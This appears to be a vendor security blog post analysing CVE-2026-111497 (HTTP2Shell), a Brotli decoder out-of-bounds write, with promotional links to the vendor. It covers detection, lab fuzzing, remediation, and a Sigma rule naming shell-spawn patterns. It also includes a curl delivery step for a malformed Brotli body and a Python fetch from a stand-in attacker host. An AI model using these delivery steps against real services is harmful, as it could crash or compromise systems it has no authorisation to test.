In late October 2026, a single flaw in a compression library rippled across most of the modern web stack. It started life as Node2Shell, got rebranded as HTTP2Shell, and in some corners is jokingly called Broccoli2Shell. All three names point at the same underlying issue: CVE-2026-111497, an out-of-bounds write in Google's Brotli decoder that can be pushed toward remote code execution.
The reason this one spread so fast is simple. Brotli is everywhere. HTTP clients and servers decode Content-Encoding: br automatically, so the bug reaches Node.js, Python, Bun, curl, Envoy, Istio, and anything that links the vulnerable C library, all through ordinary web traffic. If your application touches Brotli-compressed data it does not fully control, you are potentially in scope.
This breakdown from the Redfox Cybersecurity research team walks through how the vulnerability works at the decoder level, who is actually exposed, how to detect vulnerable copies hiding in your environment, how to validate the issue safely in a lab, and how to remediate it before an attacker gets there first.
HTTP2Shell is the popular name for CVE-2026-111497, a memory-safety defect in the Brotli decompression library maintained by Google. Google assigned the CVE and rates it 9.2 under CVSS v4.0, which lands in the Critical band. The Node.js project, using its own scale, rates the bundled-copy issue High.
The weaknesses in play are CWE-787 (out-of-bounds write) and CWE-252 (unchecked return value). A malformed Brotli stream causes the decoder to continue in an invalid state and write past the end of its output buffer. In the best case that crashes the process. In the worst case, with the right memory layout, it is a path to code execution running with the privileges of the affected process.
One detail that made this uncomfortable for a lot of teams: the fixing commit landed in the google/brotli repository back in February 2026, but it was not flagged as security relevant until an AI agent re-triaged it. The library then went nearly a year with no release, which means a lot of downstream projects shipped the vulnerable code for months without anyone treating it as a security event.
The name churn caused real confusion, so it is worth pinning down. The flaw was first disclosed through Node.js, which is why it was initially called Node2Shell. Once researchers confirmed the same C decoder reaches Python, curl, and many HTTP libraries, it was renamed HTTP2Shell to reflect the wider blast radius. Broccoli2Shell is a tracking page nickname. A separate label, html2shell, has no NVD record and is just a typo or joke, so ignore it. They all map back to CVE-2026-111497.
Importantly, HTTP2Shell has nothing to do with the HTTP/2 protocol. The name is about the transport that delivers the malicious payload, not a defect in HTTP/2 framing.
Brotli decoding is a state machine. The decoder reads a compressed stream in chunks and transitions between states as it processes metadata blocks, literals, and backward references. Some of those transitions are "block switches," where the stream tells the decoder to change the active block type for literals, insert-and-copy commands, or distances.
The bug lives in how the decoder handled a failed block switch. Internally, the block-switch helpers can return BROTLI_FALSE for two very different reasons: the block switch is illegal (a hard format error), or the decoder simply needs more input (a recoverable condition). The callers treated that BROTLI_FALSE as recoverable in all cases, and one path, DecodeLiteralBlockSwitch, discarded the return value entirely. That is the unchecked return value weakness in CWE-252.
The consequence: a deliberately malformed block switch did not stop decoding. The decoder kept going with corrupted internal state and wrote output that no longer tracked the real buffer bounds, which is the out-of-bounds write. The patch introduces a new, distinct error code so an illegal block switch is rejected instead of being swallowed.
You can actually use that new error constant as a fast patched-or-not probe inside Node.js.
// quick-check.js
// On a fixed Node.js build, the BLOCK_SWITCH error constant exists.
const zlib = require("node:zlib");
const marker = zlib.constants.BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH;
if (typeof marker === "undefined") {
console.log(`[VULN] node ${process.version} lacks the block-switch error code`);
} else {
console.log(`[OK] node ${process.version} exposes BLOCK_SWITCH = ${marker}`);
}
[cta]
On vulnerable builds the constant is undefined; on fixed builds it resolves to -17. This is more reliable than trusting a version string alone, for reasons we will get to in the detection section. If you want a hand building this kind of runtime validation into your CI pipeline, the Redfox Cybersecurity team regularly helps engineering groups wire vulnerability checks directly into their build gates at redfoxsec.com.
The defect sits in the Google Brotli C library, specifically libbrotlidec versions 1.0.3 through 1.2.0. Every ecosystem that bundles or links those versions inherits the problem. Here is the practitioner cheat sheet.
Keep in mind that Brotli and brotlicffi on PyPI both compile the same reference C decoder, and popular Python HTTP clients pull one of them in automatically. That is how requests, urllib3, aiohttp, and httpx end up transitively exposed whenever Brotli is installed and the client accepts br encoding.
A critical nuance that prevents panic: a bare Node.js HTTP server receiving a Brotli-encoded body does not automatically decode it. Something in your code or middleware has to actually call the decoder. The exposure comes down to two directions of traffic.
If your service accepts and decompresses Content-Encoding: br request bodies, an attacker can send a crafted compressed payload straight into the vulnerable decoder. Express 4 rejects Brotli bodies outright, but Express 5 and body-parser 2.x will parse them, which widens the attack surface considerably for anyone who upgraded their framework recently.
A minimal vulnerable inbound handler looks like this.
// vulnerable-inbound.js (Express 5 + body-parser 2.x, pre-patch Node.js)
const express = require("express");
const app = express();
// body-parser 2.x will inflate Content-Encoding: br before your handler runs
app.use(express.json()); // decompresses br on the request path
app.post("/ingest", (req, res) => {
res.json({ received: Object.keys(req.body).length });
});
app.listen(8080, () => console.log("listening on :8080"));
[cta]
An attacker simply ships a malformed Brotli body with the right header. The transport is trivial.
# Craft a legitimate brotli body, then tamper with it in a lab
echo -n '{"a":1}' | brotli -q 5 -c > body.br
# Deliver it as a compressed request body
curl -s -X POST http://target.internal:8080/ingest \
-H "Content-Type: application/json" \
-H "Content-Encoding: br" \
--data-binary @body.br
[cta]
The outbound path is sneakier and often overlooked. Any feature that fetches a URL, a webhook callback, a link-preview generator, an avatar importer, a server-side crawler, a "fetch this document" action, lets the attacker control the server you talk to. That server replies with a Brotli-compressed response, your HTTP client decodes it, and the payload hits the decoder. This turns a classic server-side request pattern into a memory-corruption trigger.
In Node.js, the built-in fetch() accepts Brotli responses. In Python, the usual suspects do too.
# outbound-exposure.py
# On a pre-patch stack with Brotli installed, the client auto-decodes br
import requests
# URL supplied by a user into a "preview this link" feature
target = "https://attacker.example/preview-bait"
# requests advertises br when brotli/brotlicffi is present and decodes it
resp = requests.get(target, headers={"Accept-Encoding": "br"}, timeout=10)
print(len(resp.content))
[cta]
The most at-risk assets are internet-facing Node.js services on Express 5, anything that fetches user-supplied URLs, and anything still running an end-of-life Node.js line that will never receive a patch. If your organization runs link-preview, webhook, or import features and you are not sure whether they decode Brotli, a focused penetration test is the fastest way to find out. Redfox Cybersecurity runs exactly this kind of targeted assessment against outbound request flows.
Finding vulnerable Brotli is harder than it looks because it hides in bundled copies, backported packages, and vendor binaries. Work through these layers methodically.
The single biggest gotcha: fixed Node.js releases still report process.versions.brotli as 1.1.0 or 1.2.0. That field does not move when the decoder is patched. Trust the Node.js version itself, or the block-switch error constant shown earlier.
# Confirm the actual Node.js version across hosts
node -v
# Enumerate every node binary on a box, not just the one in PATH
find / -type f -name 'node' 2>/dev/null -exec {} -v \;
[cta]
For Python, confirm the installed Brotli binding versions and then let an auditing tool map them to the advisory.
# What is actually installed
pip show brotli brotlicffi
# Audit the environment against known advisories
pip install pip-audit
pip-audit --strict
[cta]
Version checks on your direct dependencies are not enough. Desktop apps, CLI tools, container base images, and single-executable applications all ship their own Node.js or their own libbrotli. When that is the case, the fix depends on the vendor, not on your runtime upgrade. Use software-composition and SBOM tooling to sweep for every copy.
# Generate an SBOM and scan it for the CVE with Anchore syft + grype
syft dir:/opt/app -o cyclonedx-json > app.sbom.json
grype sbom:app.sbom.json | grep -i "CVE-2026-111497"
# Container and filesystem scanning with Trivy
trivy fs --scanners vuln /opt/app
trivy image registry.internal/web-frontend:prod
# Reachability query against OSV
osv-scanner --lockfile=package-lock.json
osv-scanner --lockfile=requirements.txt
[cta]
For native binaries that statically link Brotli, fall back to symbol and string inspection, then compare against the upstream patch rather than a version string, since Linux distributions often keep the old upstream number when they backport the fix.
# Look for linked or embedded brotli in a binary
ldd ./vendor-tool 2>/dev/null | grep -i brotli
strings -n 8 ./vendor-tool | grep -i "brotli\|BROTLI_DECODER"
# Grep a source tree for direct decoder calls that actually reach the bug
semgrep --pattern 'BrotliDecoderDecompress(...)' --lang c .
grep -rIn "brotli.decompress\|BrotliDecompress\|createBrotliDecompress" ./src
[cta]
The reachability point matters. Teams have scanned hundreds of repositories and found zero real exposure because none of them actually invoked the decoder on untrusted input. Prioritize code paths that decompress data you do not control. If you want this reachability analysis done across a large or messy estate, the Redfox Cybersecurity attack-surface team at redfoxsec.com can map every Brotli call site that touches external data.
Public proof-of-concept code for CVE-2026-111497 exists, including a repository that reliably crashes a deliberately weakened test build. Code execution has been demonstrated only in very specific configurations, for example a particular Node.js build on Linux arm64, and no in-the-wild exploitation is confirmed. It is not in the CISA KEV catalog as of this writing. That means your realistic goal for internal validation is reproducing the crash and confirming the patch, not weaponizing a reliable RCE.
Do this only in an isolated lab you own. The cleanest way to catch the out-of-bounds write is to build the vulnerable decoder with AddressSanitizer and feed it the malformed test vector taken from the fix commit.
# Build an ASan-instrumented harness around the vulnerable decoder
git clone https://github.com/google/brotli.git
cd brotli && git checkout v1.1.0 # pre-fix
cat > harness.c <<'EOF'
#include <stdio.h>
#include "c/include/brotli/decode.h"
int main(int argc, char **argv) {
FILE *f = fopen(argv[1], "rb");
unsigned char in[1 << 16], out[1 << 20];
size_t in_len = fread(in, 1, sizeof(in), f);
size_t out_len = sizeof(out);
const uint8_t *next_in = in;
uint8_t *next_out = out;
BrotliDecoderState *s = BrotliDecoderCreateInstance(0, 0, 0);
BrotliDecoderDecompressStream(s, &in_len, &next_in, &out_len, &next_out, 0);
BrotliDecoderDestroyInstance(s);
return 0;
}
EOF
clang -fsanitize=address -g -I. harness.c \
c/dec/*.c c/common/*.c -o brotli_fuzz
[cta]
Point the harness at the malformed block-switch test case and AddressSanitizer will report the write past the buffer. To find variants, run a coverage-guided fuzzer rather than hand-crafting inputs.
# Coverage-guided fuzzing of the decoder with AFL++
afl-clang-fast -fsanitize=address -I. c/dec/*.c c/common/*.c \
harness.c -o brotli_afl
mkdir -p corpus && echo -n "seed" | brotli -c > corpus/seed.br
afl-fuzz -i corpus -o findings -- ./brotli_afl @@
[cta]
Then confirm remediation by rebuilding against a fixed tag and verifying the same input now returns a clean format error instead of corrupting memory.
git checkout v1.2.1 # fixed
clang -fsanitize=address -g -I. harness.c \
c/dec/*.c c/common/*.c -o brotli_fixed
./brotli_fixed malformed_block_switch.br # no ASan abort, graceful error
[cta]
Even after patching, retro-hunt for signs that the decoder was probed before you closed the gap. Because the reliable outcome today is a crash, the strongest signals are process instability tied to decompression and inbound requests carrying Brotli encoding.
Start on the network and proxy layer. Flag inbound Content-Encoding: br on endpoints that have no business receiving compressed bodies.
# Hunt Brotli-encoded request bodies in web/proxy logs
grep -iE "content-encoding:\s*br" /var/log/nginx/access_combined.log
# Live capture of brotli-encoded request traffic with tshark
tshark -Y 'http.content_encoding == "br" && http.request' \
-T fields -e ip.src -e http.request.uri -e http.content_length
[cta]
On the host side, correlate Node.js or Python processes that exited unexpectedly during decompression, or that spawned unusual child processes right after handling compressed input. A Sigma rule gives you a portable starting point for your SIEM.
title: Possible HTTP2Shell Brotli Decoder Exploitation Attempt
id: a1f3c2e7-brotli-http2shell
status: experimental
description: Node.js or Python process crash or child spawn during Brotli decode
logsource:
category: process_creation
detection:
selection_runtime:
ParentImage|endswith:
- '\node'
- '\node.exe'
- '\python'
- '\python3'
selection_child:
Image|endswith:
- '\sh'
- '\bash'
- '\cmd.exe'
- '\powershell.exe'
condition: selection_runtime and selection_child
falsepositives:
- Legitimate shell-outs from build tooling
level: high
[cta]
Pair that behavioral rule with network signatures in Suricata or Zeek to catch repeated malformed compressed streams against the same endpoint, and feed both into your detection backlog. Redfox Cybersecurity builds and tunes this kind of detection content for SOC teams so that the alerts actually fire on the behavior and not on routine compression.
Remediation is mostly a version game, and the fixed versions are few enough to verify in minutes. Move fast on internet-facing and URL-fetching services first.
# Upgrade to a patched line, then confirm with nvm or your package manager
nvm install 24.22.1 && nvm alias default 24.22.1
# 22.x -> 22.23.4, 24.x -> 24.22.1, 26.x -> 26.12.1
node -v
[cta]
If you are on 20.x, 23.x, or 25.x, there is no patch coming. Migrate to a supported line (22, 24, or 26) rather than waiting.
# Upgrade both bindings; either one can be the vulnerable copy
pip install --upgrade "brotli>=1.2.1" "brotlicffi>=1.2.1.0"
pip show brotli brotlicffi
[cta]
Bun users move to 1.4.4. For curl, Git for Windows, Envoy, Istio, .NET, and any product that bundles its own Brotli, rebuild or update against Brotli 1.0.10, 1.1.1, or 1.2.1, and chase the vendor for applications that ship their own copy.
Where an immediate upgrade is not possible, reduce the reachable surface. Reject compressed request bodies you do not need, strip the advertised encoding on outbound clients, and add a WAF rule to drop unexpected Content-Encoding: br on inbound endpoints. Also apply the body-parser advisory GHSA-27r3-jxmh-p828 at the same time, since it affects the same compressed-body path.
// Stopgap: refuse brotli request bodies at the edge
app.use((req, res, next) => {
const enc = (req.headers["content-encoding"] || "").toLowerCase();
if (enc.includes("br")) {
return res.status(415).send("compressed bodies not accepted");
}
next();
});
[cta]
Treat these as temporary. A WAF reduces opportunistic hits but does not fix the decoder, and a determined attacker on the outbound path bypasses edge filtering entirely. The durable fix is the version upgrade.
HTTP2Shell, CVE-2026-111497, is a textbook example of how one memory-safety bug in a ubiquitous compression library becomes a cross-ecosystem fire drill. The root cause is narrow, an unchecked block-switch return value leading to an out-of-bounds write, but the reach is wide because Node.js, Python, Bun, curl, and dozens of HTTP libraries all decode Brotli on autopilot.
The practical priorities are straightforward. Confirm your real exposure by finding code that decompresses untrusted Brotli data on inbound or outbound paths, not just by matching version strings. Upgrade Node.js to 22.23.4, 24.22.1, or 26.12.1, upgrade Python Brotli to 1.2.1 and brotlicffi to 1.2.1.0, and sweep for bundled copies with SBOM tooling because that is where this one hides. Validate the patch, then retro-hunt for crashes and malformed compressed requests in case you were probed first.
If you need help mapping every Brotli call site across your estate, validating exploitability safely, or building detections that hold up, the team at Redfox Cybersecurity does this work day in and day out. Reach out through redfoxsec.com to get a scoped assessment of your HTTP2Shell exposure before it becomes an incident.